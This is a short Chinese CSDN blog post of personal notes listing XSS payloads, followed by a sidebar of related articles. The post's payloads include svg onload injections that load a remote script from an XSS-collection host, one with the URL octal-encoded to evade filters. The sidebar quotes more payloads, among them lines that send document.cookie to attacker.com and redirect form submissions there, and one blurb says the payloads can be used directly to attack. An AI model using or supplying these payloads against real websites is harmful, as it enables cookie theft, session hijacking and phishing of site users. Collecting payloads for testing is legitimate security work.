XSS常用payload整理（持续更新）

最新推荐文章于 2024-08-17 13:47:06 发布
最新推荐文章于 2024-08-17 13:47:06 发布
阅读量6.1k 收藏
点赞数
分类专栏： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/bajinsheng/article/details/78794195
版权 
1.<svg/onload="s=createElement('script');body.appendChild(s);s.src='http://xss.fbisb.com/1TjI'";/>

2.
"onmouseover=alert""//

3.
</textarea><svg/onload=alert``>//

4.
<svg/onload="s=createElement('script');body.appendChild(s);s.src='\150\164\164\160\72\57\57\170\163\163\56\146\142\151\163\142\56\143\157\155\57\61\124\152\111'";/>

个人笔记，待更新

纸房子
关注
专栏目录
xss常见payload脚本
09-01
xsspayload包括各种标签的payload，类似于字典。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
Web安全基础学习：XSS跨站脚本漏洞之存储型XSS
qq_51862722的博客
06-19 1151
存储型XSS漏洞：指像留言板、用户名称、日志信息等一些会存储在服务器端的信息，当攻击者在存在存储型XSS漏洞的功能点进行注入之后，任何浏览器端加载该信息的时候都会将其中的恶意代码解析，进而触发XSS攻击。该方法甚至可以在管理员审核留言或查看系统信息时触发，进而造成管理员敏感信息的泄露。因为其存储在服务器端，因此造成的危险程度、攻击范围比反射型更大更广。留言板、评论区、用户头像、个性签名、登录日志、博客等。
反射型XSS的几种payload
最新发布
m0_70638961的博客
08-17 680
符合web的解码顺序，所以可以被执行。和数据只能有文本，不会有HTML解码和URL解码操作和里会有HTML解码操作，但不会有子元素其他元素数据（如div）和元素属性数据（如href）中会有HTML解码操作部分属性（如href）会有URL解码操作，但URL中的协议需为ASCIIJavaScript会对字符串和标识符Unicode解码根据浏览器的自动解码，反向构造 XSS Payload 即可。
XSS payload大全
01-22
总结的XSS的payload，可以直接使用，直接进行攻击，各种payload
常用 XSS Payload
tianlg的专栏
09-02 500
(1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG标签XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (3)IMG标签无分号无引号 <IMG SRC=javascript:alert('XSS')> (4)IMG标签大小写不敏感 <IMG SRC=JaVa
xss常用Payload总结
csd_ct的专栏
01-03 1万+
xss常用Payload总结 渗透测试时，常遇到页面输入框、留言板等输入交互点，大多是xss漏洞易出现的常见场景之一，记录几种常用的xss注入的姿势 1.img 注入 快速探测是否存在xss 1) <img src='x' onerror='alert(1)'> 2) <img src='x' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"> 2.iframe 注入 后台做了相
【XSS】payload 常用构造和变形方法
吉吉的博客
03-06 2600
XSS 相关 payload 构造和变形的常用方法。
XSS常用Payload
z2560088的博客
01-11 9834
1.普通的 <ScRipt>alert(1)</ScRipt> 1"><ScRipt>alert(1)</ScRipt>2.绕过htmlspecialchars方法，先闭合输入，再使用事件来绕过 ' onclick ='javascript:alert(1)'// " onclick ='javascript:alert(1)'// 3.<> script onclick被过滤，用a标签绕过 "></input><
常见的前端面经试题整理。持续更新中....
wanghe1111_的博客
12-07 3498
2021常见的前端面经整理
XSS漏洞讲解与多篇实战讲解
浪子燕青的博客
02-25 3443
跨站脚本攻击 XSS攻击基础 概述 个人对XSS攻击的原理认知： 原理：对可以控制传参的位置，比如url链接中，输入框中，首先闭合输出参数位置前后网页标签，在闭合的中间加上JavaScript代码或者其他的html标签，使得网页能够执行你添加的参数功能。 危害：凡是js能做的，大部分xss漏洞都能利用，常见的比如获取当前cookie，获取浏览器保存的账号密码 、获取屏幕截图，获取页面的数据，改变页面的逻辑，向服务器发送数据请求等。 情景：在挖洞的情景下，只要保证能弹个窗，或者执行js代码即可。但是
红队系列-网络安全知识锦囊(持续更新)
aming小老弟
11-09 1008
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
热门推荐
杨秀璋的专栏
02-21 2万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了微软证书漏洞（CVE-2020-0601），并详细讲解了Windows验证机制、可执行文件签名复现及HTTPS劫持。本文将分享另一个主题——Cracer教程，第一篇文章将详细讲解安全术语、Web渗透流程和Windows基础、注册表及黑客常用DOS命令。基础性文章，希望对您有所帮助。
PHP 面试知识点整理归纳
PHP学习日志——地雷
09-05 1万+
全文已整理补充完毕，以后还会继续更新文章里面的错误，以及补充尚不完善的问题。 该篇文章是针对Github上wudi/PHP-Interview-Best-Practices-in-China资源的答案个人整理 lz也是初学者，以下知识点均为自己整理且保持不断更新，也希望各路大神多多指点，若发现错误或有补充，可直接comment，lz时刻关注着。 由于内容比较多，没有直接目录，请自行对照 Gi...
xss绕过，payload全集
spang_33的博客
07-05 2万+
XSS总结:        xss分为三种，反射型xss，DOM型XSS及存储型XSS，不同类型的XSS的危害不同，有兴趣的可以观看一下csdn上明智讲的关于XSS攻击及原理。https://edu.csdn.net/course/detail/8585里面的修复原理和补丁代码讲的还是很详细的，他的课程还有利用xss获取cookie等。&lt;img src=x onerror=alert(1)&...
28、XSS常见payload
weixin_41489908的博客
01-02 5601
环境：http://xss-quiz.int21h.jp 一、Stage #1 无过滤xss漏洞 1、随便输入字符：123 2、输入payload： 3、弹出对话框，说明存在xss漏洞 二、Stage #2 属性中的xss漏洞 1、在窗口中输入payload：，查看审查元素，payload被写在一个标签中 2、重新构造payload，先闭合标签： "> 或者 "οnmοuseοve...
XSS与靶场(史上最详细附带payload)
qq_34598847的博客
10-17 3507
Cookie 和 Session都是用来跟踪浏览器用户身份的会话方式，但是两者的应用场景不太一样。Cookie 一般用来保存用户信息 比如①我们在 Cookie 中保存已经登录过得用户信息，下次访问网站的时候页面可以自动帮你填写登录的一些基本信息；②一般的网站都会有保持登录也就是说下次你再访问网站的时候就不需要重新登录了，这是因为用户登录的时候我们可以存放了一个 Token 在 Cookie 中，下次登录的时候只需要根据 Token 值来查找用户即可(为了安全考虑，重新登录一般要将 Token 重写)
xss payload
iteye_16188的博客
11-15 233
1. 代码来自xssya.py http://packetstorm.interhost.co.il/UNIX/scanners/XSSYA-master.zip "%22%3Cscript%3Ealert%28%27XSSYA%27%29%3C%2Fscript%3E", "1%253CScRiPt%2520%253Eprompt%28962477%29%2...
XSS payload （大集合）
m0_51186260的博客
10-18 3129
<script>alert(/xss/)</script> <script>alert(&#38;XSS&#38;)</script> <script>alert(&quot;XSS&quot;)</script>(代替被转义的“”) <INPUT type="text"value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))&l
xss常用payload
11-25
以下是几种常用的XSS Payload： 1. 弹窗XSS Payload： ```html <script>alert('XSS')</script> ``` 2. Cookie劫持XSS Payload： ```html <script>document.location='http://attacker.com/cookie.php?cookie='+document.cookie</script> ``` 3. 钓鱼XSS Payload： ```html <script>document.forms[0].action='http://attacker.com/submit.php';document.forms[0].submit();</script> ``` 4. 重定向XSS Payload： ```html <script>document.location='http://attacker.com';</script> ``` 5. 获取当前URL Xss Payload： ```html <script>alert(document.location)</script> ``` 6. 获取cookie Xss Payload： ```html <script>alert(document.cookie)</script> ``` 7. 获取用户信息 Xss Payload： ```html <script>alert(navigator.userAgent)</script> ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值